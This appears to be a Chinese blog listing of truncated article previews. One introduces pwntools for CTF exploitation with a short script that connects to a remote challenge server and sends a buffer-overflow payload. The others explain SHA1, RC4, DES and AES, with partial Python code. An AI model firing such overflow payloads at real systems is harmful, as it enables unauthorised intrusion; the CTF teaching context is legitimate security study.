Pwntools 是由 Gallopsled 开发的一款专用于 CTF Exploit 的 Python 库,包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄漏等众多强大功能,可以说把 EXP 繁琐的过程变得简单起来。(1)项目地址:https://github.com/Gallopsled/pwntools;(2)官方文档:http://docs.pwntools.com/en/latest/。这里只简单介绍一下它的部分 API 使用:借助 pwntools 编写的 exp 脚本示例:from pwn import * coon = remote('111.200.241.244',65238) #连接远程IP和端口 coon.recv() #接收远程发来的内容 payload = b'a'*4 + p64(1853186401) #构建溢出攻击的payload coon.sendline(payload) #向远程发送我们的payload
一、原理以下算法分析基于 RFC 3174。Request For Comments (RFC),所有关于Internet 的正式标准都是以RFC(Request for Comment )文档出版。需要注意的是,还有大量的RFC文档都不是正式的标准,出版目的都是为了提供信息。由互联网协会(Internet Society,简称ISOC)赞助发行,会交到互联网工程工作小组(IETF)和互联网结构委员会(IAB)。文档可由网站 https://www.ietf.org/ 下载。SHA1原理全称为 Secure Hash Algorithm 1(安全散列算法1)。是一种密码散列函数,美国国家安全局设计,并由美国国家标准技术研究所(NIST)发布为联邦数据处理标准(FIPS)。1993年 发布 SHA0,1995年发布了SHA1。其设计原理相似于MIT教授 Ronald L. Rivest 所设计的密码学散列算法 MD4 和 MD5。SHA1 可以生成一个被称为消息摘要的160位(20字节)散列值,散列值通常的呈现形式为40个十六进制数。主要适用于数字签名标准 (Digital Signat
一、RC4算法简介在密码学中,RC4(来自 Rivest Cipher 4 的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4 是有线等效加密(WEP)中采用的加密算法,也曾经是 TLS 可采用的算法之一。 RC4算法由Ron rivest于1987年设计出的一种对称加密算法,其加密密钥和解密密钥是相同的,加密和解密过程也相同。 属于对称加密算法中的流密码加密算法,流密码不对明文数据进行分组,而是用密钥生成与明文一样长短的密码流对明文进行加密。密钥长度可变,面向字节操作,是以一个足够大的表s为基础,对表进行非线性变换,产生密钥流。加密:原文和Keystream进行异或得到密文解密:密文和Keystream进行异或得到原文二、加密过程Pasted image 20231212141652.png1.密钥调度算法KSA(Key Scheduling Algorithm)(初始化)(1)对S表进行线性填充(一般为256字节,用来作为密钥流生成的种子1)Pasted image 20231212141704.png(2)用种子密钥(就是我们的秘钥
一、原理及每步实现见文章:https://juejin.cn/post/7084242293816983589?searchId=20240321135336F4E57A424C6F2E776B59二、代码(1)来源此文章的最完整代码:# __author: Junebao # data:2020/3/9 from bitarray import bitarray class MyDES: def __init__(self): self.child_keys = [] @staticmethod def _bit_encode(s: str) -> str: """ 将字符串转换为01字符串的形式 """ return bitarray( ''.join([bin(int('1' + hex(c)[2:], 16))[3:]
一、原理见文章https://www.cnblogs.com/luop/p/4334160.html二、python实现以下文章从参数类型、加密模式、编码模式、补全模式、等等方面 系统的说明如何使用AES加密解密。https://www.cnblogs.com/Hellowshuo/p/15706590.html代码如下:from Crypto.Cipher import AES import base64 import binascii # 数据类 class MData(): def __init__(self, data = b"",characterSet='utf-8'): # data肯定为bytes self.data = data self.characterSet = characterSet def saveData(self,FileName): with open(FileName,'wb') as f: f.write(self.
Norman1z